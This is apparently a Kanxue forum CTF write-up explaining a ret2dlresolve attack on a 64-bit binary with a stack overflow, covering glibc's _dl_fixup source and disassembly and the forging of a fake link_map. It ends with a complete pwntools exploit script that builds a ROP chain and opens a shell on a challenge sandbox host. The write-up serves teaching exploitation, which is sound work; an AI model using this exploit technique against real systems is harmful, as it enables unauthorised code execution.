本文为看雪论坛优秀文章
看雪论坛作者ID:LeaMov
pwndbg> ptype Struct
一
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
read(0, buf, 0x1000uLL);
return 0;
}
/*
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/root/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'
*/
超大的栈溢出,保护只开了NX和Partial RELRO
ELF中没有后门函数,可利用字符串,可用的函数也只有read
>>>elf.plt<br>
{'read': 4195312}<br>
>>>elf.got<br>
{'__libc_startmain': 6295536, '\_gmon_start__': 6295544, 'read': 6295576}
二
.text:0000000000400506 call _read
_read proc near
.plt:00000000004003F0 jmp cs:off_601018
_read endp
.plt:00000000004003F6 push 0
.plt:00000000004003FB jmp plt_0
plt_0 proc near
.plt:00000000004003E0 push cs:linkMap
.plt:00000000004003E6 jmp cs:_dl_runtime_resolve
plt_0 endp
;↓↓↓↓↓↓↓↓↓↓保存调用参数环境↓↓↓↓↓↓↓↓↓↓
0x00007ffff7c17750 <+0>: push rbx
0x00007ffff7c17751 <+1>: mov rbx,rsp
0x00007ffff7c17754 <+4>: and rsp,0xffffffffffffffc0
0x00007ffff7c17758 <+8>: sub rsp,QWORD PTR [rip+0x2100a9] # 0x7ffff7e27808 <_rtld_global_ro+168>
0x00007ffff7c1775f <+15>: mov QWORD PTR [rsp],rax
0x00007ffff7c17763 <+19>: mov QWORD PTR [rsp+0x8],rcx
0x00007ffff7c17768 <+24>: mov QWORD PTR [rsp+0x10],rdx
0x00007ffff7c1776d <+29>: mov QWORD PTR [rsp+0x18],rsi
0x00007ffff7c17772 <+34>: mov QWORD PTR [rsp+0x20],rdi
0x00007ffff7c17777 <+39>: mov QWORD PTR [rsp+0x28],r8
0x00007ffff7c1777c <+44>: mov QWORD PTR [rsp+0x30],r9
0x00007ffff7c17781 <+49>: mov eax,0xee
0x00007ffff7c17786 <+54>: xor edx,edx
0x00007ffff7c17788 <+56>: mov QWORD PTR [rsp+0x250],rdx
0x00007ffff7c17790 <+64>: mov QWORD PTR [rsp+0x258],rdx
0x00007ffff7c17798 <+72>: mov QWORD PTR [rsp+0x260],rdx
0x00007ffff7c177a0 <+80>: mov QWORD PTR [rsp+0x268],rdx
0x00007ffff7c177a8 <+88>: mov QWORD PTR [rsp+0x270],rdx
0x00007ffff7c177b0 <+96>: mov QWORD PTR [rsp+0x278],rdx
0x00007ffff7c177b8 <+104>: xsavec [rsp+0x40]
0x00007ffff7c177bd <+109>: mov rsi,QWORD PTR [rbx+0x10]
0x00007ffff7c177c1 <+113>: mov rdi,QWORD PTR [rbx+0x8]
;↑↑↑↑↑↑↑↑↑↑保存调用参数环境↑↑↑↑↑↑↑↑↑↑
0x00007ffff7c177c5 <+117>: call 0x7ffff7c0fdf0 <_dl_fixup>;真正的绑定查询函数
0x00007ffff7c177ca <+122>: mov r11,rax ;将结果保存至R11
;↓↓↓↓↓↓↓↓↓↓还原调用参数环境↓↓↓↓↓↓↓↓↓↓
0x00007ffff7c177cd <+125>: mov eax,0xee
0x00007ffff7c177d2 <+130>: xor edx,edx
0x00007ffff7c177d4 <+132>: xrstor [rsp+0x40]
0x00007ffff7c177d9 <+137>: mov r9,QWORD PTR [rsp+0x30]
0x00007ffff7c177de <+142>: mov r8,QWORD PTR [rsp+0x28]
0x00007ffff7c177e3 <+147>: mov rdi,QWORD PTR [rsp+0x20]
0x00007ffff7c177e8 <+152>: mov rsi,QWORD PTR [rsp+0x18]
0x00007ffff7c177ed <+157>: mov rdx,QWORD PTR [rsp+0x10]
0x00007ffff7c177f2 <+162>: mov rcx,QWORD PTR [rsp+0x8]
0x00007ffff7c177f7 <+167>: mov rax,QWORD PTR [rsp]
0x00007ffff7c177fb <+171>: mov rsp,rbx
0x00007ffff7c177fe <+174>: mov rbx,QWORD PTR [rsp]
0x00007ffff7c17802 <+178>: add rsp,0x18
;↑↑↑↑↑↑↑↑↑↑还原调用参数环境↑↑↑↑↑↑↑↑↑↑
0x00007ffff7c17806 <+182>: bnd jmp r11 ;跳转至原目标函数
可以看到_dl_runtime_resolve_xsavec函数只负责:
1.保存原目标函数(read)的参数环境<br>
2.调用_dl_fixup查询并绑定read的真正地址至linkMap中指定的重定位地址<br>
3.还原原目标函数(read)的参数环境<br>
4.跳转至_dl_fixup的查询结果<br>
而真正做查询绑定操作的是_dl_fixup函数
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
//符号表symtab = linkMap->l_info[6]
const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
//字符串表strtab = linkMap->l_info[5]
const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
//重定位表reloc = linkMap->l_info[23] + reloc_arg
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
//定位符号sym = symtab[reloc->r_info] 此处使用reloc->r_info的高32位作为索引
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
const ElfW(Sym) *refsym = sym;
//重定位地址(rel_addr) = LinkMap->l_addr + reloc->r_offset
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* 判断重定位类型是否为7--ELF_MACHINE_JMP_SLOT */
assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/*此处判断sym->st_other的最后两位是否为0*/
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
int flags = DL_LOOKUP_ADD_DEPENDENCY; //156
if (!RTLD_SINGLE_THREAD_P)//171
{
THREAD_GSCOPE_SET_FLAG();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)//+226
THREAD_GSCOPE_RESET_FLAG();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE(result,sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
}
else
{
//绑定查询结果等于 linkMap->l_addr + sym->st_value
value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
result = l;
}
value = elf_machine_plt_value(l, reloc, value);
if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely(GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
<+0>: push rbx
<+1>: mov r10,rdi ;r10 = rdi = LinkMap
<+4>: mov esi,esi
<+6>: lea rdx,[rsi+rsi*2] ;rdx = rsi = 0
<+10>: sub rsp,0x10
;const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
<+14>: mov rax,QWORD PTR [rdi+0x68] ;rax = DT_STRTAB
<+18>: mov rdi,QWORD PTR [rax+0x8] ;rdi = ELF String Table
;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
<+22>: mov rax,QWORD PTR [r10+0xf8] ;rax = DT_JMPREL
<+29>: mov rax,QWORD PTR [rax+0x8] ;rax = Elf64_Rela
;const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
<+33>: lea r8,[rax+rdx*8] ;r8 = rax = Elf64_Rela
<+37>: mov rax,QWORD PTR [r10+0x70] ;rax = DT_SYMTAB
;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
<+41>: mov rcx,QWORD PTR [r8+0x8] ;rcx = Elf64_Rela->r_info
<+45>: mov rbx,QWORD PTR [r8] ;rbx = Elf64_Rela->r_offset
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
<+48>: mov rax,QWORD PTR [rax+0x8] ;rax = Elf64_Sym
<+52>: mov rdx,rcx ;rdx = rcx = Elf64_Rela->r_info
<+55>: shr rdx,0x20 ;rdx = rdx >> 0x20 = Elf64_Rela->r_info>>0x20
<+59>: lea rsi,[rdx+rdx*2]
<+63>: lea rsi,[rax+rsi*8] ;rsi = Elf64_Sym[Elf64_Rela->r_info >> 32]
;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
<+67>: mov rax,QWORD PTR [r10] ;rax = linkMap->l_addr
<+70>: mov QWORD PTR [rsp+0x8],rsi ;var_sym = rsi
<+75>: add rbx,rax
;assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
<+78>: cmp ecx,0x7
<+81>: jne 0x7fa516a0ff64 <_dl_fixup+372>
;if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
<+87>: test BYTE PTR [rsi+0x5],0x3
<+91>: jne 0x7fa516a0fee8 <_dl_fixup+248>
<+97>: mov rax,QWORD PTR [r10+0x1c8]
<+104>: xor r8d,r8d
<+107>: test rax,rax
<+110>: je 0x7fa516a0fe8c <_dl_fixup+156>
<+112>: mov rax,QWORD PTR [rax+0x8]
<+116>: movzx eax,WORD PTR [rax+rdx*2]
<+120>: and eax,0x7fff
<+125>: lea rdx,[rax+rax*2]
<+129>: mov rax,QWORD PTR [r10+0x2e0]
<+136>: lea r8,[rax+rdx*8]
<+140>: mov eax,0x0
<+145>: mov r9d,DWORD PTR [r8+0x8]
<+149>: test r9d,r9d
<+152>: cmove r8,rax
<+156>: mov edx,DWORD PTR fs:0x18
<+164>: test edx,edx
<+166>: mov eax,0x1
<+171>: jne 0x7fa516a0ff48 <_dl_fixup+344>
<+177>: mov esi,DWORD PTR [rsi]
<+179>: mov rcx,QWORD PTR [r10+0x380]
<+186>: lea rdx,[rsp+0x8]
<+191>: push 0x0
<+193>: push rax
<+194>: mov r9d,0x1
<+200>: add rdi,rsi
<+203>: mov rsi,r10
<+206>: call 0x7fa516a0b0b0 <_dl_lookup_symbol_x>
<+211>: mov r8,rax
<+214>: mov eax,DWORD PTR fs:0x18
<+222>: test eax,eax
<+224>: pop rcx
<+225>: pop rsi
<+226>: jne 0x7fa516a0ff10 <_dl_fixup+288>
<+228>: mov rsi,QWORD PTR [rsp+0x8]
<+233>: xor eax,eax
;if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))
<+235>: test rsi,rsi
<+238>: je 0x7fa516a0fef8 <_dl_fixup+264>;sym == NULL
<+240>: test r8,r8
<+243>: je 0x7fa516a0fee8 <_dl_fixup+248>
<+245>: mov rax,QWORD PTR [r8]
;value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
<+248>: movzx edx,BYTE PTR [rsi+0x4] ;edx = [rsi+0x4] = sym->st_info
<+252>: add rax,QWORD PTR [rsi+0x8] ;rax = rax + [rsi+0x8] = linkMap->l_addr + sym->st_value 此命令执行完后rax = 真正函数地址
;if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))
<+256>: and edx,0xf
<+259>: cmp dl,0xa ;if sym->st_info == STT_GNU_IFUNC
<+262>: je 0x7fa516a0ff60 <_dl_fixup+368>
;if (__glibc_unlikely(GLRO(dl_bind_not)))
<+264>: mov edx,DWORD PTR [rip+0x2178aa] ;edx = dl_bind_not
<+270>: test edx,edx
<+272>: jne 0x7fa516a0ff05 <_dl_fixup+277> ;if (__glibc_unlikely(GLRO(dl_bind_not)))
;return value;
<+274>: mov QWORD PTR [rbx],rax ;reloc = 绑定查询结果
<+277>: add rsp,0x10
<+281>: pop rbx
<+282>: ret
<+283>: nop DWORD PTR [rax+rax*1+0x0]
<+288>: xor eax,eax
<+290>: xchg DWORD PTR fs:0x1c,eax
<+298>: cmp eax,0x2
<+301>: jne 0x7fa516a0fed4 <_dl_fixup+228>
<+303>: mov rdi,QWORD PTR fs:0x10
<+312>: xor r10d,r10d
<+315>: add rdi,0x1c
<+319>: mov edx,0x1
<+324>: mov esi,0x81
<+329>: mov eax,0xca
<+334>: syscall
<+336>: jmp 0x7fa516a0fed4 <_dl_fixup+228>
<+338>: nop WORD PTR [rax+rax*1+0x0]
<+344>: mov DWORD PTR fs:0x1c,0x1
<+356>: mov eax,0x5
<+361>: jmp 0x7fa516a0fea1 <_dl_fixup+177>
<+366>: xchg ax,ax
;value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
<+368>: call rax
<+370>: jmp 0x7fa516a0fef8 <_dl_fixup+264> ;if (__glibc_unlikely(GLRO(dl_bind_not)))
<+372>: lea rcx,[rip+0x132fd] # 0x7fa516a23268 <__PRETTY_FUNCTION__.10843>
<+379>: lea rsi,[rip+0x1115a] # 0x7fa516a210cc
<+386>: lea rdi,[rip+0x132b7] # 0x7fa516a23230
<+393>: mov edx,0x50
<+398>: call 0x7fa516a1b790 <__GI___assert_fail>;重定位类型不等于7
由于本题是x64且保护Partial RELRO,所以暂不分析st_other==0的情况
根据源码和汇编的分析,可知:
最终绑定函数地址 = linkMap->l_addr + sym->st_value
最终绑定函数地址写入位置 = linkMap->l_addr + reloc->r_offset
伪造LinkMap<br>;
伪造LinkMap->l_addr作为偏移以计算最终绑定函数地址<br>;
伪造LinkMap->l_info[JMPREL]及ELF64_Rela以定位sym索引及重定位地址<br>;
伪造LinkMap->l_info[SYMTAB] 来定位libc函数将st_value作为基址以计算最终绑定函数地址。
__dl_fixup函数会根据LinkMap->l_info\[SYMTAB\]->ELF_SYM获得st_value,并将其与LinkMap->l_addr相加最后作为查询结果<br>;
而目前在ELF中的libc函数已知的已有read和__libc_start_main,其中若使用[email protected] - 0x8作为ELF_SYM的话,st_other值为0x58<br>;
在对__dl_fixup<+87>汇编分析中,程序检查了st_other的低2位是否为0,若为0则不会执行DL_FIXUP_MAKE_VALUE转而执行_dl_lookup_symbol_x,而我们最终目的是使用DL_FIXUP_MAKE_VALUE来泄露libc函数地址并计算出system函数地址,所以__libc_start_main不能作为伪造的ELF_SYM<br>;而对于[email protected]作为伪造的ELF_SYM,其st_other的值为0x7e,符合低两位不为0的条件。
以下是需要伪造的LinkMap结构分析:
左 为LinkMap成员和FakeLinkMap需伪造成员的对照<br>;
中 为FakeLinkMap需伪造成员的结构和位置<br>;
右 为FakeLinkMap伪造后的具体成员结构和值。。
由于不采用_dl_lookup_symbol_x查询函数,所以无需伪造ELF_Sym结构体,直接将其指向[email protected]即可,这样即可得到sym->st_value为read的真实地址,而最终地址为 l_addr - sym->st_value ,所以只需计算并传入这个偏移 l_addr 即可获得最终函数的地址。
最终的EXP如下:
from pwn import *
prog = "./pwn"
context(os='linux', arch='amd64', log_level='debug')
elf = ELF(prog)
libc = ELF("./libc-2.27.so")
p = remote("challenge-f236dc39487bb0bb.sandbox.ctfhub.com",37969)
fakeLinkMap = 0x601030 + 0x110 # write to where
rbp = fakeLinkMap-8
pop_rdi_ret = 0x400583
pop_rsi_r15_ret = 0x400581
main = 0x4004E7
ret = 0x4003de
l_addr = abs(libc.sym['system'] - libc.sym['read'])#l_addr为system到read函数的偏移
off = 0xFFFFFFFFFFF3F410 #手动计算负数偏移的16进制形式
linkMap = p64(off)
linkMap += p64(0x17)
linkMap += p64(fakeLinkMap + 0x18)
linkMap += p64(fakeLinkMap + 0x30 + l_addr)#因为l_addr为负,在处理时会减去|l_addr|,此处直接加上|l_addr|抵消
linkMap += p64(7)
linkMap += p64(0)
linkMap += p64(0x6)
linkMap += p64(elf.got['read']-0x8)
linkMap += b'/bin/sh\x00'
linkMap = linkMap.ljust(0x60,b'A')
linkMap += p64(fakeLinkMap + 0x100)
linkMap += p64(fakeLinkMap + 0x58)
linkMap += p64(fakeLinkMap + 0x30)
linkMap = linkMap.ljust(0xf8,b'A')
linkMap += p64(fakeLinkMap + 0x8)
payload = b'a'*0x100
payload += p64(rbp)
#将FakeLinkMap写入bss段中
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(fakeLinkMap)
payload += p64(0)
payload += p64(elf.plt['read'])
#将FakeLinkMap写入bss段中
#将/bin/sh作为参数push进rdi
payload += p64(pop_rdi_ret)
payload += p64(fakeLinkMap + 0x40)
#将/bin/sh作为参数push进rdi
payload += p64(ret)#平衡栈
payload += p64(0x4003E6)#跳转至plt0查询函数
payload += p64(fakeLinkMap)#fakeLinkMap作为l参数
payload += p64(0)#0为参数reloc_args
payload += p64(main)
pause()
p.send(payload)
pause()
p.send(linkMap)
p.interactive()
三
总结
看雪ID:LeaMov
https://bbs.kanxue.com/user-home-952954.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看